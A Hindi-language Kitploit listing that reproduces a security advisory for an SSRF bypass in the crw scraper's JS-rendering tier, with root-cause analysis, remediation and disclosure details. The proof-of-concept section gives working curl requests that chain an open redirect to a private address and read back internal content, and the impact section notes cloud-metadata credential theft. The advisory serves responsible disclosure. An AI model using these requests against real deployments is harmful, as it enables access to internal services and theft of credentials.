Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
crw-PoC — PoC — crw में URL सुरक्षा फ़िल्टर के JS-रेंडरिंग टियर बायपास के माध्यम से SSRF (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5)। | Kitploit
उपकरण/GitHubGitHub/squeeze440/crw-poc
भेद्यता विश्लेषणशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubsqueeze440/crw-poc

crw-PoC

PoC — crw में URL सुरक्षा फ़िल्टर के JS-रेंडरिंग टियर बायपास के माध्यम से SSRF (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5)।

रिपॉजिटरी देखें
7 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

crw: सुरक्षा सलाह

CVE स्थिति: अनुरोधित, असाइनमेंट लंबित। यह निष्कर्ष GHSA-5jp3-339h-vxqw के रूप में प्रकाशित है। CVE असाइनमेंट पर इस रिपॉज़िटरी का नाम बदलकर CVE-YYYY-NNNNN-crw-PoC कर दिया जाएगा और इस बैनर को CVE लिंक से बदल दिया जाएगा।

शोधकर्ताDostxodjayev Abdullox (@squeeze440)
सलाहGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (उच्च)
कमज़ोरीCWE-918

सारांश

crw-server में, SSRF allow/deny-list (crw_core::url_safety) केवल एक बार लागू की जाती है, कॉलर द्वारा दिए गए url के विरुद्ध, अनुरोध को रेंडरर को भेजने से पहले; इसके बाद CDP-संचालित JS-रेंडरिंग टियर (LightPanda — डिफ़ॉल्ट JS रेंडरर — और Chrome) Page.navigate के माध्यम से लक्ष्य पृष्ठ को चलाते हैं और प्रत्येक बाद के रीडायरेक्ट, JS-ट्रिगर किए गए नेविगेशन, और इन-पेज XHR/fetch का पूरी तरह से ब्राउज़र के अपने नेटवर्क स्टैक के भीतर अनुसरण करते हैं, किसी भी बिंदु पर url_safety में कोई और कॉल किए बिना, जिससे एक प्रमाणित (या, डिफ़ॉल्ट no-key डिप्लॉयमेंट पर, अप्रमाणित) कॉलर जो renderJs:true सेट करता है, एक ही बाहरी ओपन रीडायरेक्ट के माध्यम से क्रॉलर को RFC1918/loopback/link-local एड्रेस स्पेस में पिवट कर सकता है और API प्रतिक्रिया बॉडी में आंतरिक सेवा की प्रतिक्रिया को वापस पढ़ सकता है।

उत्पाद

fastCRW / crw — crw-server (REST API, जो इन-प्रोसेस crw-mcp MCP टूल लेयर के माध्यम से भी समान रूप से पहुँच योग्य है, जो उसी crw_server::routes::mcp::call_tool कोड पथ को कॉल करता है)।

परीक्षित संस्करण

कमिट 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, परीक्षण के समय main का टिप), परियोजना के स्वयं के docker-compose.yml --profile heavy के माध्यम से बनाया और चलाया गया।

अनुमानित CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (उच्च)

  • PR:N: शिप किए गए self-host डिफ़ॉल्ट (config.docker.toml) में कोई [auth]/api_keys अनुभाग नहीं है, जो GHSA-qq8c-fch4-cxq7 में पहले से प्रलेखित "डिज़ाइन से खुला" डिफ़ॉल्ट से मेल खाता है। एक डिप्लॉयमेंट जो वास्तव में API कुंजियाँ कॉन्फ़िगर करता है, इसे PR:L तक डाउनग्रेड कर देता है (कोई भी एकल प्रमाणित टेनेंट अभी भी साझा इंजन को उस आंतरिक नेटवर्क में पिवट कर सकता है जिस पर वह चलता है) — कुंजियाँ जोड़ने से बग कम नहीं होता, केवल पुनः-गेट किया जाता है।
  • I:N/A:N: PoC एक आंतरिक HTTP प्रतिक्रिया (गोपनीयता) के रीड-बैक को प्रदर्शित करता है। आंतरिक लक्ष्य के विरुद्ध कोई लेखन/स्थिति-परिवर्तनकारी क्रिया न तो की गई और न ही दावा किया गया।
  • S:U: प्रकटीकरण पूरी तरह से कमजोर घटक के अपने API प्रतिक्रिया चैनल के माध्यम से मध्यस्थ है।

विवरण

मूल कारण: CDP/ब्राउज़र रेंडरर पथ रूट लेयर पर किए गए एक जाँच के बाद कभी भी crw_core::url_safety को कॉल नहीं करता।

  • crates/crw-server/src/routes/scrape.rs:29-34 (समान रूप से crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25 में) — JS-रेंडर किए गए अनुरोध के लिए पूरे अनुरोध जीवनचक्र में एकमात्र SSRF जाँच: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) कॉलर के शाब्दिक url के विरुद्ध एक बार चलती है, रेंडरर के कभी आह्वान से पहले।
  • crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner का work फ्यूचर Page.navigate को कच्चे url के साथ सीधे CDP एंडपॉइंट पर भेजता है (जो chrome और lightpanda दोनों टियर द्वारा साझा किया जाता है — दोनों इसी फ़ंक्शन के माध्यम से CDP बोलते हैं)। Chrome/LightPanda फिर अपना स्वयं का DNS रिज़ॉल्यूशन करता है और किसी भी सर्वर-साइड रीडायरेक्ट, <meta http-equiv="refresh">, या JS location परिवर्तन का आंतरिक रूप से अनुसरण करता है। cdp.rs में कहीं भी url_safety में कोई कॉल मौजूद नहीं है।
  • crates/crw-renderer/src/blocklist.rs:1-124 — CDP रेंडर के दौरान चलने वाला एकमात्र प्रति-अनुरोध Fetch.requestPaused इंटरसेप्शन लॉजिक (जो cdp.rs में लगभग पंक्तियों 930-1002 के आसपास वायर किया गया है)। यह केवल बैंडविड्थ/शोर कारणों से विज्ञापन/ट्रैकर होस्ट और अवरुद्ध संसाधन प्रकारों (छवियाँ, फ़ॉन्ट, आदि) को फ़िल्टर करता है — यह कभी भी किसी अनुरोध के गंतव्य को निजी/loopback/link-local रेंज के विरुद्ध नहीं जाँचता।
  • crates/crw-crawl/src/single.rs:559-569 — एकमात्र स्थान जहाँ नेविगेशन के बाद के final_url की बिल्कुल भी जाँच की जाती है। redirect_is_material() केवल यह तय करता है कि data.warnings में एक कॉस्मेटिक "redirected_to: <url>" स्ट्रिंग संलग्न करनी है या नहीं (यह इंगित करने के लिए कि "आपको गलत पृष्ठ मिला," northernair.ca का संदर्भ देने वाली टिप्पणी के अनुसार) — यह कभी भी url_safety::validate_safe_url* को कॉल नहीं करता और कभी भी अनुरोध को विफल नहीं करता।
  • इसके विपरीत: crates/crw-renderer/src/http_only.rs:291 — सादा-HTTP (गैर-JS) टियर अपने reqwest::Client को सही ढंग से crw_core::url_safety::safe_redirect_policy() में लपेटता है, जो प्रत्येक रीडायरेक्ट हॉप को (DNS रिज़ॉल्यूशन के साथ) पुनः-सत्यापित करता है। यह ठीक वही सुरक्षा है जो CDP टियर से अनुपस्थित है। गतिशील रूप से पुष्टि की गई: renderJs:false के साथ वही PoC अनुरोध सही ढंग से अस्वीकार किया जाता है ("error following redirect", बेसलाइन स्क्रीनशॉट देखें)।

प्रूफ़ ऑफ़ कॉन्सेप्ट

परियोजना के स्वयं के docker-compose.yml --profile heavy स्टैक (crw + lightpanda + chrome, परीक्षित कमिट से बनाया गया) के विरुद्ध गतिशील रूप से पुष्टि की गई।

  1. crw/chrome/lightpanda के समान Docker ब्रिज नेटवर्क (docker network: source_default) पर एक "आंतरिक सेवा" स्टैंड-इन खड़ा किया, निजी पते 172.19.0.6 पर — एक सादा nginx कंटेनर जो यथार्थवादी आंतरिक-दिखने वाली सामग्री वाला पृष्ठ परोसता है (शीर्षक "Internal Ops Console", एक सत्र-टोकन-आकार का मान)।
  2. बेसलाइन — पुष्टि करें कि फ़िल्टर सामान्य रूप से काम करता है:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (स्क्रीनशॉट: evidence/ssrf_baseline_blocked.png)
  3. बायपास — वही रीडायरेक्ट, JS-रेंडरिंग टियर का अनुरोध:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    परिणाम: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — आंतरिक सर्वर की सामग्री कॉलर को लौटा दी जाती है; टूल की स्वयं की redirected_to चेतावनी दिखाती है कि यह जानता है कि उसने अवरुद्ध पते पर अनुरोध का अनुसरण किया और फिर भी सामग्री लौटाता है। (स्क्रीनशॉट: evidence/ssrf_chrome_tier_bypass.png)
  4. पुष्टि की गई कि बायपास डिफ़ॉल्ट फ़ॉलबैक चेन पर भी सक्रिय होता है, बिना किसी स्पष्ट रेंडरर पिन के ("renderJs":true अकेले — जिस सामान्य तरीके से कॉलर JS रेंडरिंग का अनुरोध करता है): लैडर ने lightpanda चुना ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") और वही आंतरिक सामग्री लौटाई, जो सिद्ध करता है कि दोनों CDP टियर (केवल chrome नहीं) इस अंतराल को साझा करते हैं।

https://httpbin.org/redirect-to "किसी भी बाहरी रूप से पहुँच योग्य URL जो 302 करता है" के लिए स्टैंड-इन है; एक वास्तविक हमलावर इसे अपने स्वयं के डोमेन पर होस्ट करेगा। 172.19.0.6 उन रेंजों में किसी भी पते के लिए स्टैंड-इन है जिन्हें url_safety अवरुद्ध करने के लिए डिज़ाइन किया गया है (RFC1918, loopback, link-local/169.254.169.254 क्लाउड मेटाडेटा, .internal) — बायपास किसी भी रेंज जाँच के चलने से पहले होता है (CDP पथ url_safety को बिल्कुल भी कॉल नहीं करता), इसलिए यह इस एक अवरुद्ध रेंज के लिए विशिष्ट नहीं है। इस स्थानीय लैब में एक लाइव क्लाउड-मेटाडेटा एंडपॉइंट उपलब्ध नहीं था, इसलिए उस विशिष्ट लक्ष्य का सीधे परीक्षण नहीं किया गया; यह एक प्रत्यक्ष, कोड-ट्रेस किया गया अनुमान है, कोई अपरीक्षित दावा नहीं।

प्रभाव

कोई भी कॉलर जो /v1/scrape, /v2/scrape, /v1/crawl, /v1/map, /v1/extract, उनके batch/v2 समकक्षों, या समकक्ष MCP टूल्स तक पहुँच सकता है — renderJs:true के साथ — लक्ष्य crw डिप्लॉयमेंट को एक खुले आंतरिक-नेटवर्क प्रॉक्सी के रूप में उपयोग कर सकता है: डिप्लॉयर की loopback सेवाओं, RFC1918-पते वाली आंतरिक सेवाओं (डेटाबेस, एडमिन पैनल, आंतरिक API), और — किसी भी क्लाउड-होस्टेड डिप्लॉयमेंट पर — इंस्टेंस के क्लाउड-मेटाडेटा एंडपॉइंट (169.254.169.254) से प्रतिक्रियाएँ पढ़ सकता है, संभवतः IAM/इंस्टेंस क्रेडेंशियल्स को पुनः प्राप्त करते हुए। शिप किए गए self-host डिफ़ॉल्ट पर (कोई API कुंजियाँ कॉन्फ़िगर नहीं), इसके लिए बिल्कुल भी प्रमाणीकरण की आवश्यकता नहीं है।

कमज़ोरियाँ

  • CWE-918: सर्वर-साइड रिक्वेस्ट फ़ॉर्जरी (SSRF)
  • CWE-441: अनपेक्षित प्रॉक्सी या मध्यस्थ ('कन्फ्यूज़्ड डेप्युटी')

उपचार

CDP टियर में पहले से वायर किया गया Fetch.requestPaused इंटरसेप्शन पंप (crates/crw-renderer/src/cdp.rs, जो blocklist.rs में Blocklist द्वारा संचालित है) स्वाभाविक चोक पॉइंट है: इसे विस्तारित करें (या उसी पंप से आह्वान किया गया एक सहोदर जाँच जोड़ें, दोनों chrome और lightpanda बैकएंड के लिए) ताकि प्रत्येक इंटरसेप्ट किए गए अनुरोध के URL के विरुद्ध crw_core::url_safety::validate_safe_url को कॉल किया जाए — जो प्रारंभिक नेविगेशन, प्रत्येक रीडायरेक्ट हॉप, प्रत्येक JS-संचालित नेविगेशन, और प्रत्येक समान-पृष्ठ XHR/fetch/iframe लोड को कवर करता है — और जो कुछ भी अवरुद्ध होस्ट पर रिज़ॉल्व होता है उसके लिए Fetch.failRequest करें, जो उससे मेल खाता है जो safe_redirect_policy() पहले से http_only टियर के लिए करता है। ध्यान दें कि इसका अर्थ है कि Fetch.enable/इंटरसेप्शन अब सशर्त रूप से बंद नहीं रह सकता जब SSRF सुरक्षा इसके चलने पर निर्भर हो। रक्षा की गहराई के रूप में, crates/crw-crawl/src/single.rs:559-569 में मौजूदा नेविगेशन-पश्चात final_url जाँच को भी एक कॉस्मेटिक warnings प्रविष्टि से url_safety::validate_safe_url_resolved के माध्यम से एक कठोर विफलता में बदलें, ताकि जो कुछ भी इंटरसेप्शन से बच जाए (उदा. एक बहुत पहली प्रतिक्रिया जो Fetch.enable की सेटअप से आगे निकल जाती है) उसे पकड़ा जा सके।

श्रेय

Dostxodjayev Abdullox

रिपोर्टिंग चैनल

.github/SECURITY.md (https://github.com/us/crw/security पर रेंडर किया गया): GitHub Private Vulnerability Reporting पसंदीदा चैनल है ("इस रिपॉज़िटरी के Security टैब से एक रिपोर्ट खोलें"), ईमेल फ़ॉलबैक के रूप में [email protected] के साथ। इस रेपो के लिए वास्तव में लाइव और खुला होने की पुष्टि की गई: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true, और https://github.com/us/crw/security पर एक लाइव "Report a vulnerability" बटन देखा गया (जो https://github.com/us/crw/security/advisories/new से लिंक करता है)। उस पृष्ठ पर स्कोप स्टेटमेंट स्पष्ट रूप से "The crw-server binary and all workspace crates in this repository" और "The MCP server (crw-mcp)" को शामिल करता है; यह "Third-party headless browsers (Chromium, Lightpanda) invoked by the renderer" को बाहर रखता है — यह निष्कर्ष crw के स्वयं के CDP नेविगेशन कॉल के आसपास अनुपस्थित सत्यापन के बारे में है, न कि Chromium/Lightpanda में किसी बग के बारे में, इसलिए यह स्कोप में है।

टूल डाउनलोड करें